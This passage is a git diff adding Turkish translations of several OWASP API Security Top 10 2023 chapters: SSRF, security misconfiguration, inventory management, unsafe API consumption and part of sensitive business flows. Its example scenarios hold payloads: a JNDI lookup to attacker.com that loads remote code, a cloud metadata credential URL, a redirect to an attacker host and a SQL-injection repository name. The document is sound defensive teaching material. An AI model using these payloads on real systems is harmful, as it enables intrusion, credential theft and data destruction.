+anlamak önemlidir. Bazı iş akışları, aşırı erişimin işletmeye zarar +verebilmesi anlamında diğerlerinden daha hassastır. + +Hassas iş akışlarına ve bunlarla ilişkili aşırı erişim risklerine +yaygın örnekler: + +* Ürün satın alma akışı - bir saldırgan, yüksek talep gören bir ürünün + tüm stoğunu tek seferde satın alıp daha yüksek fiyata yeniden satabilir + (scalping) +* Yorum/gönderi oluşturma akışı - bir saldırgan sistemi spam ile + doldurabilir +* Rezervasyon yapma - bir saldırgan tüm uygun zaman dilimlerini + rezerve ederek diğer kullanıcıların sistemi kullanmasını engelleyebilir + +Aşırı erişim riski, sektörlere ve kuruluşlara göre değişebilir. Örneğin, +bir betik tarafından gönderi oluşturulması bir sosyal ağ tarafından +spam riski olarak görülebilirken, başka bir sosyal ağ tarafından teşvik +edilebilir. + +Bir API uç noktası, hassas bir iş akışına erişimi uygun şekilde +kısıtlamadan açığa çıkarıyorsa zafiyete açıktır. + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Bir teknoloji şirketi, Şükran Günü'nde yeni bir oyun konsolu +çıkaracağını duyurur. Ürüne çok yüksek talep vardır ve stok sınırlıdır. +Bir saldırgan, yeni ürünü otomatik olarak satın alıp işlemi tamamlayan +bir kod yazar. + +Çıkış gününde saldırgan, farklı IP adreslerine ve konumlara dağıtılmış +şekilde kodu çalıştırır. API uygun korumayı uygulamadığı için, saldırgan +diğer meşru kullanıcılardan önce stoğun büyük kısmını satın alabilir. + +Daha sonra saldırgan, ürünü başka bir platformda çok daha yüksek bir +fiyata satar. + +### Senaryo 2 + +Bir havayolu şirketi, iptal ücreti almadan çevrimiçi bilet satın alma +imkanı sunar. Kötü niyetli bir kullanıcı, istediği bir uçuşun +koltuklarının %90'ını rezerve eder. + +Uçuştan birkaç gün önce kötü niyetli kullanıcı tüm biletleri aynı anda +iptal eder; bu da havayolunu uçuşu doldurmak için bilet fiyatlarını +indirime zorlar. + +Bu noktada kullanıcı, orijinalinden çok daha ucuz olan tek bir bilet +satın alır. + +### Senaryo 3 + +Bir yolculuk paylaşım uygulaması bir referans programı sunar - +kullanıcılar arkadaşlarını davet edebilir ve uygulamaya katılan her +arkadaş için kredi kazanabilir. Bu kredi daha sonra yolculuk +rezervasyonu için nakit gibi kullanılabilir. + +Bir saldırgan, kayıt sürecini otomatikleştiren bir betik yazarak bu +akışı istismar eder; her yeni kullanıcı saldırganın cüzdanına kredi +ekler. + +Saldırgan daha sonra ücretsiz yolculukların keyfini çıkarabilir veya +aşırı kredisi olan hesapları nakit karşılığında satabilir. + +## Nasıl Önlenir? + +Riski azaltmaya yönelik planlama iki katmanda yapılmalıdır: + +* İş - aşırı kullanıldığında kuruluşa zarar verebilecek iş + akışlarını tespit edin. +* Mühendislik - iş riskini azaltmak için doğru koruma + mekanizmalarını seçin. + + Koruma mekanizmalarından bazıları daha basit, bazıları ise + uygulanması daha zordur. Otomatik tehditleri yavaşlatmak için şu + yöntemler kullanılır: + + * Cihaz parmak izi çıkarma: beklenmedik istemci cihazlarına (örn. + headless tarayıcılar) hizmet reddetmek, tehdit aktörlerinin daha + gelişmiş çözümler kullanmasına neden olur ve bu da onlar için + daha maliyetli hâle gelir + * İnsan tespiti: captcha veya daha gelişmiş biyometrik çözümler + (örn. yazma kalıpları) kullanmak + * İnsan dışı kalıplar: insan dışı kalıpları tespit etmek için + kullanıcı akışını analiz edin (örn. kullanıcının "sepete ekle" ve + "satın almayı tamamla" fonksiyonlarına bir saniyeden kısa sürede + erişmesi) + * Tor çıkış düğümlerinin ve bilinen proxy'lerin IP adreslerini + engellemeyi değerlendirin + + Doğrudan makineler tarafından kullanılan API'lere (geliştirici ve + B2B API'leri gibi) erişimi güvenli hâle getirin ve sınırlayın. Bu + tür API'ler genellikle gerekli tüm koruma mekanizmalarını + uygulamadıkları için saldırganlar için kolay bir hedef olma + eğilimindedir. + +## Kaynaklar + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/tr/0xa7-server-side-request-forgery.md b/editions/2023/tr/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..c02e182c8 --- /dev/null +++ b/editions/2023/tr/0xa7-server-side-request-forgery.md @@ -0,0 +1,170 @@ +# API7:2023 Sunucu Taraflı İstek Sahteciliği + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Yaygın** · Tespit edilebilirlik: **Kolay** | Teknik etki: **Orta** · İş etkisi: **Kuruluşa özgü** | +| İstismar için saldırganın, istemci tarafından sağlanan bir URI'ye erişen bir API uç noktası bulması gerekir. Genel olarak, yanıtın saldırgana döndürüldüğü temel SSRF, saldırganın saldırının başarılı olup olmadığına dair geri bildirim alamadığı Kör (Blind) SSRF'den istismar etmesi daha kolaydır. | Uygulama geliştirmedeki modern yaklaşımlar, geliştiricileri istemci tarafından sağlanan URI'lere erişmeye teşvik eder. Bu tür URI'lerin doğrulanmaması veya yetersiz doğrulanması yaygın bir sorundur. Sorunu tespit etmek için düzenli API istek ve yanıt analizi gerekir. Yanıt döndürülmediğinde (Kör SSRF) zafiyeti tespit etmek daha fazla çaba ve yaratıcılık gerektirir. | Başarılı bir istismar; dahili servis numaralandırmasına (örn. port taraması), bilgi ifşasına, güvenlik duvarlarının veya diğer güvenlik mekanizmalarının aşılmasına yol açabilir. Bazı durumlarda DoS'a veya sunucunun kötü amaçlı etkinlikleri gizlemek için proxy olarak kullanılmasına yol açabilir. | + +## API Bu Zafiyete Açık mı? + +Sunucu Taraflı İstek Sahteciliği (SSRF) kusurları, bir API'nin +kullanıcı tarafından sağlanan URL'yi doğrulamadan uzak bir kaynağa +erişmesi durumunda ortaya çıkar. Bu durum, bir güvenlik duvarı veya +VPN tarafından korunuyor olsa dahi, saldırganın uygulamayı beklenmedik +bir hedefe özel olarak hazırlanmış bir istek göndermeye zorlamasına +olanak tanır. + +Uygulama geliştirmedeki modern yaklaşımlar SSRF'yi daha yaygın ve daha +tehlikeli hâle getirir. + +Daha yaygın: Webhook'lar, URL'lerden dosyalara erişme, özel SSO ve URL +önizlemeleri gibi yaklaşımlar, geliştiricileri kullanıcı girdisine dayalı +olarak harici kaynaklara erişmeye yöneltir. + +Daha tehlikeli: Bulut sağlayıcılar, Kubernetes ve Docker gibi modern +teknolojiler, yönetim ve kontrol kanallarını HTTP üzerinden öngörülebilir, +iyi bilinen yollarda açığa çıkarır. Bu kanallar, SSRF saldırısı için +kolay bir hedeftir. + +Modern uygulamaların bağlantılı doğası nedeniyle, uygulamanızdan +giden trafiği sınırlamak da daha zordur. + +SSRF riski her zaman tamamen ortadan kaldırılamaz. Bir koruma +mekanizması seçerken, iş risklerini ve ihtiyaçlarını göz önünde +bulundurmak önemlidir. + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Bir sosyal ağ, kullanıcıların profil resmi yüklemesine izin verir. +Kullanıcı, resim dosyasını kendi cihazından yüklemeyi veya resmin +URL'sini sağlamayı seçebilir. İkincisini seçmek şu API çağrısını +tetikler: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Bir saldırgan, kötü amaçlı bir URL göndererek API uç noktasını +kullanarak iç ağda port taraması başlatabilir. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Yanıt süresine dayanarak, saldırgan portun açık olup olmadığını +anlayabilir. + +### Senaryo 2 + +Bir güvenlik ürünü, ağda anomali tespit ettiğinde olaylar üretir. Bazı +ekipler, olayları SIEM (Security Information and Event Management) gibi +daha geniş, daha genel bir izleme sisteminde incelemeyi tercih eder. Bu +amaçla ürün, webhook'lar kullanarak diğer sistemlerle entegrasyon +sağlar. + +Yeni bir webhook oluşturma sürecinin bir parçası olarak, SIEM API'sinin +URL'sini içeren bir GraphQL mutation'ı gönderilir. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Oluşturma süreci sırasında, API arka ucu sağlanan webhook URL'sine bir +test isteği gönderir ve yanıtı kullanıcıya sunar. + +Bir saldırgan bu akıştan yararlanarak, API'nin kimlik bilgilerini +ifşa eden dahili bir bulut meta veri servisi gibi hassas bir kaynağa +istek göndermesini sağlayabilir: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Uygulama, test isteğinin yanıtını gösterdiği için saldırgan, bulut +ortamının kimlik bilgilerini görebilir. + +## Nasıl Önlenir? + +* Kaynaklara erişen mekanizmayı ağınızda izole edin: Bu tür özellikler + genellikle dahili kaynaklara değil, uzak kaynaklara erişmek için kullanılır. +* Mümkün olduğunda şunlar için izin listeleri (allow list) kullanın: + * Kullanıcıların kaynak indirmesi beklenen uzak kaynaklar (örn. + Google Drive, Gravatar vb.) + * URL şemaları ve portları + * Belirli bir işlevsellik için kabul edilen medya türleri +* HTTP yönlendirmelerini devre dışı bırakın. +* URL ayrıştırma tutarsızlıklarından kaynaklanan sorunları önlemek + için iyi test edilmiş ve bakımı yapılan bir URL ayrıştırıcı + kullanın. +* İstemci tarafından sağlanan tüm girdi verilerini doğrulayın ve + temizleyin (sanitize). +* İstemcilere ham yanıtlar göndermeyin. + +## Kaynaklar + +### OWASP + +* [Server Side Request Forgery][1] +* [Sunucu Taraflı İstek Sahteciliğini Önleme Hızlı Başvuru Rehberi][2] + +### Harici Kaynaklar + +* [CWE-918: Sunucu Taraflı İstek Sahteciliği (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/tr/0xa8-security-misconfiguration.md b/editions/2023/tr/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..4a7b7c865 --- /dev/null +++ b/editions/2023/tr/0xa8-security-misconfiguration.md @@ -0,0 +1,140 @@ +# API8:2023 Hatalı Güvenlik Yapılandırması + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Çok yaygın** · Tespit edilebilirlik: **Kolay** | Teknik etki: **Ciddi** · İş etkisi: **Kuruluşa özgü** | +| Saldırganlar genellikle yetkisiz erişim veya sistem hakkında bilgi elde etmek için yamalanmamış açıkları, yaygın uç noktaları, güvensiz varsayılan yapılandırmalarla çalışan servisleri veya korunmasız dosya ve dizinleri bulmaya çalışır. Bunların çoğu herkesin bildiği bilgilerdir ve istismar araçları mevcut olabilir. | Hatalı güvenlik yapılandırması, ağ düzeyinden uygulama düzeyine kadar API yığınının herhangi bir katmanında ortaya çıkabilir. Gereksiz servisler veya eski seçenekler gibi hatalı yapılandırmaları tespit etmek ve istismar etmek için otomatik araçlar mevcuttur. | Hatalı güvenlik yapılandırmaları yalnızca hassas kullanıcı verilerini değil, aynı zamanda sunucunun tamamen ele geçirilmesine yol açabilecek sistem detaylarını da açığa çıkarır. | + +## API Bu Zafiyete Açık mı? + +API aşağıdaki durumlarda zafiyete açık olabilir: + +* API yığınının herhangi bir bölümünde uygun güvenlik sıkılaştırması + eksikse veya bulut servislerinde yanlış yapılandırılmış izinler + varsa +* En son güvenlik yamaları eksikse veya sistemler güncel değilse +* Gereksiz özellikler etkinse (örn. HTTP fiilleri, günlükleme + özellikleri) +* HTTP sunucu zincirindeki sunucuların gelen istekleri işleme + biçiminde tutarsızlıklar varsa +* Aktarım Katmanı Güvenliği (TLS) eksikse +* Güvenlik veya önbellek kontrolü yönergeleri istemcilere + gönderilmiyorsa +* Kaynaklar Arası Kaynak Paylaşımı (CORS) politikası eksikse veya + yanlış ayarlanmışsa +* Hata mesajları yığın izlerini (stack trace) içeriyorsa veya başka + hassas bilgileri açığa çıkarıyorsa + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Bir API arka uç sunucusu, yer tutucu genişletmeyi ve JNDI (Java Naming +and Directory Interface) aramalarını varsayılan olarak destekleyen +popüler bir üçüncü taraf açık kaynak günlükleme aracıyla yazılan bir +erişim günlüğü tutar. Her istek için günlük dosyasına şu kalıpta yeni +bir kayıt yazılır: ` / - `. + +Kötü niyetli bir kişi, erişim günlük dosyasına yazılacak aşağıdaki API +isteğini gönderir: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Günlükleme aracının güvensiz varsayılan yapılandırması ve izin verici +bir giden ağ politikası nedeniyle, erişim günlüğüne ilgili kaydı +yazmak amacıyla `X-Api-Version` istek başlığındaki değeri genişletirken, +günlükleme aracı saldırganın uzaktan kontrol ettiği sunucudan +`Malicious.class` nesnesini çekip çalıştırır. + +### Senaryo 2 + +Bir sosyal ağ sitesi, kullanıcıların özel görüşmeler yapmasına olanak +tanıyan bir "Doğrudan Mesaj" özelliği sunar. Belirli bir görüşme için +yeni mesajları almak amacıyla site aşağıdaki API isteğini gönderir +(kullanıcı etkileşimi gerekmez): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +API yanıtı `Cache-Control` HTTP yanıt başlığını içermediğinden, özel +görüşmeler web tarayıcısı tarafından önbelleğe alınır ve kötü niyetli +kişilerin bunları dosya sistemindeki tarayıcı önbellek dosyalarından +almasına olanak tanır. + +## Nasıl Önlenir? + +API yaşam döngüsü şunları içermelidir: + +* Güvenliği güçlendirilmiş bir ortamın hızlı ve kolay biçimde devreye alınmasını + sağlayan, tekrarlanabilir bir sıkılaştırma süreci +* API yığınının tamamındaki yapılandırmaları gözden geçirmek ve + güncellemek için bir görev. Bu gözden geçirme; orkestrasyon + dosyalarını, API bileşenlerini ve bulut servislerini (örn. S3 bucket + izinleri) kapsamalıdır +* Tüm ortamlarda yapılandırma ve ayarların etkinliğini sürekli olarak + değerlendiren otomatik bir süreç + +Ayrıca: + +* İstemciden API sunucusuna ve tüm alt/üst akış bileşenlerine giden + tüm API iletişimlerinin, dahili veya herkese açık bir API olup + olmadığına bakılmaksızın şifrelenmiş bir iletişim kanalı (TLS) + üzerinden gerçekleştiğinden emin olun. +* Her API'ye hangi HTTP fiilleriyle erişilebileceği konusunda spesifik + olun: diğer tüm HTTP fiilleri devre dışı bırakılmalıdır (örn. HEAD). +* Tarayıcı tabanlı istemcilerden (örn. Web Uygulaması ön yüzü) + erişilmesi beklenen API'ler en azından şunları yapmalıdır: + * uygun bir Kaynaklar Arası Kaynak Paylaşımı (CORS) politikası + uygulamak + * ilgili Güvenlik Başlıklarını dâhil etmek +* Gelen içerik türlerini/veri biçimlerini iş/işlevsel gereksinimleri + karşılayanlarla sınırlayın. +* Desenkronizasyon sorunlarını önlemek için HTTP sunucu zincirindeki + tüm sunucuların (örn. yük dengeleyiciler, ters ve ileri proxy'ler ve + arka uç sunucuları) gelen istekleri tutarlı bir şekilde işlediğinden + emin olun. +* Uygun olduğunda, istisna izlerinin ve diğer değerli bilgilerin + saldırganlara geri gönderilmesini önlemek için hata yanıtları da + dâhil olmak üzere tüm API yanıt gövdesi şemalarını tanımlayın ve + uygulayın. + +## Kaynaklar + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Harici Kaynaklar + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/tr/0xa9-improper-inventory-management.md b/editions/2023/tr/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..3301cdacf --- /dev/null +++ b/editions/2023/tr/0xa9-improper-inventory-management.md @@ -0,0 +1,119 @@ +# API9:2023 Yetersiz Envanter Yönetimi + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Çok yaygın** · Tespit edilebilirlik: **Orta** | Teknik etki: **Orta** · İş etkisi: **Kuruluşa özgü** | +| Tehdit aktörleri genellikle yamalanmamış ve daha zayıf güvenlik gereksinimleriyle çalışmaya devam eden eski API sürümleri veya uç noktaları aracılığıyla yetkisiz erişim elde eder. Bazı durumlarda istismar araçları mevcuttur. Alternatif olarak, verilerin paylaşılması için hiçbir gerekçe olmayan bir üçüncü taraf aracılığıyla hassas verilere erişim elde edebilirler. | Güncel olmayan dokümantasyon, zafiyetlerin bulunmasını ve/veya düzeltilmesini zorlaştırır. Varlık envanteri ve emeklilik stratejilerinin eksikliği, yamalanmamış sistemlerin çalışmaya devam etmesine ve hassas verilerin sızmasına yol açar. Mikroservisler gibi modern yaklaşımlar uygulamaları kolayca dağıtılabilir ve bağımsız hâle getirdiğinden (örn. bulut bilişim, K8S), gereksiz yere açığa çıkmış API sunucularına sıkça rastlanır. İnternete bağlı çeşitli sunucu türleri (web kameraları, yönlendiriciler, sunucular vb.) için basit Google Dorking, DNS numaralandırma veya özel arama motorları kullanmak, hedefleri bulmak için yeterli olacaktır. | Saldırganlar hassas verilere erişim elde edebilir, hatta sunucuyu ele geçirebilir. Bazen farklı API sürümleri/dağıtımları gerçek verilerle aynı veritabanına bağlıdır. Tehdit aktörleri, yönetimsel fonksiyonlara erişmek veya bilinen zafiyetleri istismar etmek için eski API sürümlerinde bulunan kullanımdan kaldırılmış uç noktaları istismar edebilir. | + +## API Bu Zafiyete Açık mı? + +API'lerin ve modern uygulamaların yayılmış ve birbirine bağlı yapısı yeni +zorluklar getirir. Kuruluşların yalnızca kendi API'leri ve API uç +noktaları hakkında değil, aynı zamanda API'lerin harici üçüncü +taraflarla verileri nasıl depoladığı veya paylaştığı konusunda da iyi +bir anlayışa ve görünürlüğe sahip olması önemlidir. + +Bir API'nin birden fazla sürümünü çalıştırmak, API sağlayıcısından ek +yönetim kaynağı gerektirir ve saldırı yüzeyini genişletir. + +Aşağıdaki durumlarda bir API'de "dokümantasyon kör noktası" +vardır: + +* Bir API sunucusunun amacı belirsizse ve aşağıdaki sorulara açık + yanıtlar yoksa + * API hangi ortamda çalışıyor (örn. üretim, staging, test, + geliştirme)? + * API'ye ağ erişimine kimler sahip olmalı (örn. herkese açık, + dahili, iş ortakları)? + * Hangi API sürümü çalışıyor? +* Dokümantasyon yoksa veya mevcut dokümantasyon güncellenmiyorsa. +* Her API sürümü için bir emeklilik planı yoksa. +* Sunucu envanteri eksik veya güncel değilse. + +Üçüncü taraf tarafında bir ihlal yaşanması durumunda, hassas veri +akışlarının görünürlüğü ve envanteri, olay müdahale planının önemli bir +parçası olarak rol oynar. + +Aşağıdaki durumlarda bir API'de "veri akışı kör noktası" +vardır: + +* API'nin hassas verileri üçüncü bir tarafla paylaştığı bir "hassas + veri akışı" varsa ve + * Akış için bir iş gerekçesi veya onayı yoksa + * Akışın envanteri veya görünürlüğü yoksa + * Ne tür hassas verilerin paylaşıldığına dair derin bir + görünürlük yoksa + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Bir sosyal ağ, saldırganların şifre sıfırlama belirteçlerini tahmin +etmek için kaba kuvvet kullanmasını engelleyen bir istek sınırlandırma +mekanizması uygulamıştır. Bu mekanizma, API kodunun kendisinin bir +parçası olarak değil, istemci ile resmi API (`api.socialnetwork.owasp.org`) +arasındaki ayrı bir bileşende uygulanmıştır. Bir araştırmacı, şifre +sıfırlama mekanizması dâhil aynı API'yi çalıştıran ancak istek sınırlandırma +mekanizması bulunmayan bir beta API sunucusu +(`beta.api.socialnetwork.owasp.org`) buldu. Araştırmacı, 6 haneli +belirteci tahmin etmek için basit kaba kuvvet kullanarak herhangi bir +kullanıcının şifresini sıfırlayabildi. + +### Senaryo 2 + +Bir sosyal ağ, bağımsız uygulama geliştiricilerinin kendisiyle entegre +olmasına izin verir. Bu sürecin bir parçası olarak, sosyal ağın +kullanıcının kişisel bilgilerini bağımsız uygulamayla paylaşabilmesi +için son kullanıcıdan onay istenir. + +Sosyal ağ ile bağımsız uygulamalar arasındaki veri akışı yeterince +kısıtlayıcı veya izlenen bir yapıda değildir; bu da bağımsız +uygulamaların yalnızca kullanıcı bilgilerine değil, aynı zamanda +kullanıcının tüm arkadaşlarının özel bilgilerine de erişmesine olanak +tanır. + +Bir danışmanlık firması kötü amaçlı bir uygulama geliştirir ve 270.000 +kullanıcının onayını almayı başarır. Bu açık nedeniyle danışmanlık +firması, 50.000.000 kullanıcının özel bilgilerine erişim elde etmeyi +başarır. Daha sonra danışmanlık firması bu bilgileri kötü amaçlarla +satar. + +## Nasıl Önlenir? + +* Tüm API sunucularının envanterini çıkarın ve her birinin + önemli yönlerini belgeleyin; API ortamına (örn. üretim, staging, + test, geliştirme), sunucuya ağ erişimine kimlerin sahip olması + gerektiğine (örn. herkese açık, dahili, iş ortakları) ve API + sürümüne odaklanın. +* Entegre servislerin envanterini çıkarın ve sistemdeki + rolleri, hangi verilerin değiş tokuş edildiği (veri akışı) ve + hassasiyetleri gibi önemli yönleri belgeleyin. +* Kimlik doğrulama, hatalar, yönlendirmeler, istek sınırlandırma, kaynaklar + arası kaynak paylaşımı (CORS) politikası ve parametreleri, istekleri + ve yanıtları dâhil olmak üzere uç noktalar gibi API'nizin tüm + yönlerini belgeleyin. +* Açık standartları benimseyerek dokümantasyonu otomatik olarak + oluşturun. Dokümantasyon oluşturmayı CI/CD ardışık düzeninize dâhil + edin. +* API dokümantasyonunu yalnızca API'yi kullanmaya yetkili olanlara + açık hâle getirin. +* Yalnızca mevcut üretim sürümü için değil, API'lerinizin açığa + çıkmış tüm sürümleri için API güvenliğine özel çözümler gibi + harici koruma önlemleri kullanın. +* Üretim dışı API dağıtımlarıyla üretim verisi kullanmaktan kaçının. + Bu kaçınılmazsa, bu uç noktalar üretim uç noktalarıyla aynı güvenlik + muamelesini görmelidir. +* API'lerin daha yeni sürümleri güvenlik iyileştirmeleri içerdiğinde, + eski sürümler için gereken risk azaltma önlemlerini belirlemek üzere + bir risk analizi yapın. Örneğin, iyileştirmelerin API uyumluluğunu + bozmadan geriye taşınıp taşınamayacağını veya eski sürümü hızla + devre dışı bırakıp tüm istemcileri en son sürüme geçmeye zorlamanız + gerekip gerekmediğini değerlendirin. + +## Kaynaklar + +### Harici Kaynaklar + +* [CWE-1059: Eksik Dokümantasyon][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/tr/0xaa-unsafe-consumption-of-apis.md b/editions/2023/tr/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..1382eb30f --- /dev/null +++ b/editions/2023/tr/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,117 @@ +# API10:2023 API'lerin Güvensiz Kullanımı + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Yaygın** · Tespit edilebilirlik: **Orta** | Teknik etki: **Ciddi** · İş etkisi: **Kuruluşa özgü** | +| Bu sorunu istismar etmek, saldırganların hedef API'nin entegre olduğu diğer API'leri/servisleri tespit etmesini ve potansiyel olarak ele geçirmesini gerektirir. Genellikle bu bilgi herkese açık değildir veya entegre API/servis kolayca istismar edilemez. | Geliştiriciler, harici veya üçüncü taraf API'lerle etkileşime giren uç noktalara güvenme ve bunları doğrulamama eğilimindedir; aktarım güvenliği, kimlik doğrulama/yetkilendirme ve girdi doğrulama ile temizleme gibi konularda daha zayıf güvenlik gereksinimlerine dayanırlar. Saldırganların, hedef API'nin entegre olduğu servisleri (veri kaynaklarını) tespit etmesi ve sonunda bunları ele geçirmesi gerekir. | Etki, hedef API'nin çekilen verilerle ne yaptığına göre değişir. Başarılı bir istismar; hassas bilgilerin yetkisiz aktörlere ifşa edilmesine, çeşitli enjeksiyon türlerine veya hizmet reddine yol açabilir. | + +## API Bu Zafiyete Açık mı? + +Geliştiriciler, üçüncü taraf API'lerden alınan verilere kullanıcı +girdisinden daha fazla güvenme eğilimindedir. Bu durum özellikle +tanınmış şirketler tarafından sunulan API'ler için geçerlidir. Bu +nedenle geliştiriciler, örneğin girdi doğrulama ve temizleme konusunda +daha zayıf güvenlik standartları benimseme eğilimindedir. + +API aşağıdaki durumlarda zafiyete açık olabilir: + +* Diğer API'lerle şifrelenmemiş bir kanal üzerinden etkileşime + giriyorsa; +* Diğer API'lerden toplanan verileri işlemeden veya alt akış + bileşenlerine iletmeden önce uygun şekilde doğrulamıyor ve + temizlemiyorsa; +* Yönlendirmeleri körü körüne takip ediyorsa; +* Üçüncü taraf servis yanıtlarını işlemek için kullanılabilecek + kaynak sayısını sınırlamıyorsa; +* Üçüncü taraf servislerle etkileşimler için zaman aşımı + uygulamıyorsa; + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Bir API, kullanıcının sağladığı iş adreslerini zenginleştirmek için +üçüncü taraf bir servise güvenir. Son kullanıcı tarafından API'ye bir +adres sağlandığında, bu adres üçüncü taraf servise gönderilir ve +döndürülen veri yerel, SQL destekli bir veritabanında saklanır. + +Kötü niyetli kişiler, üçüncü taraf servisi kullanarak kendileri +tarafından oluşturulan bir işletmeyle ilişkili bir SQLi verisi +saklarlar. Ardından, zafiyetli API'yi kendi "kötü amaçlı işletmelerini" +üçüncü taraf servisten çekmesini sağlayacak özel bir girdi vererek +hedef alırlar. SQLi verisi sonunda veritabanı tarafından çalıştırılır ve +veriler saldırganın kontrol ettiği bir sunucuya sızdırılır. + +### Senaryo 2 + +Bir API, hassas kullanıcı tıbbi bilgilerini güvenli bir şekilde +saklamak için üçüncü taraf bir servis sağlayıcısıyla entegre olur. +Veri, aşağıdaki gibi bir HTTP isteği kullanılarak güvenli bir bağlantı +üzerinden gönderilir: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Kötü niyetli kişiler üçüncü taraf API'yi ele geçirmenin bir yolunu +bulur ve API, yukarıdaki gibi isteklere `308 Permanent Redirect` ile +yanıt vermeye başlar. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +API, üçüncü taraf yönlendirmelerini körü körüne takip ettiğinden, +kullanıcının hassas verilerini içeren tamamen aynı isteği tekrarlayacak, +ancak bu sefer saldırganın sunucusuna gönderecektir. + +### Senaryo 3 + +Bir saldırgan, `'; drop db;--` adında bir Git repository'si hazırlayabilir. + +Saldırıya uğrayan bir uygulama bu kötü amaçlı repository ile entegre edildiğinde, +repository adının güvenli bir girdi olduğuna +inanarak SQL sorgusu oluşturan bir uygulama üzerinde SQL enjeksiyon +verisi kullanılmış olur. + +## Nasıl Önlenir? + +* Servis sağlayıcılarını değerlendirirken, güvenlik duruşlarını da + değerlendirin. +* Tüm API etkileşimlerinin güvenli bir iletişim kanalı (TLS) üzerinden + gerçekleştiğinden emin olun. +* Entegre API'lerden alınan verileri kullanmadan önce her zaman + doğrulayın ve uygun şekilde temizleyin. +* Entegre API'lerin sizi yönlendirebileceği iyi bilinen konumların bir + izin listesini tutun: yönlendirmeleri körü körüne takip etmeyin. + +## Kaynaklar + +### OWASP + +* [Web Servisi Güvenliği Hızlı Başvuru Rehberi][1] +* [Injection Flaws][2] +* [Girdi Doğrulama Hızlı Başvuru Rehberi][3] +* [Enjeksiyon Önleme Hızlı Başvuru Rehberi][4] +* [Aktarım Katmanı Koruması Hızlı Başvuru Rehberi][5] +* [Doğrulanmamış Yönlendirmeler ve İletmeler Hızlı Başvuru Rehberi][6] + +### Harici Kaynaklar + +* [CWE-20: 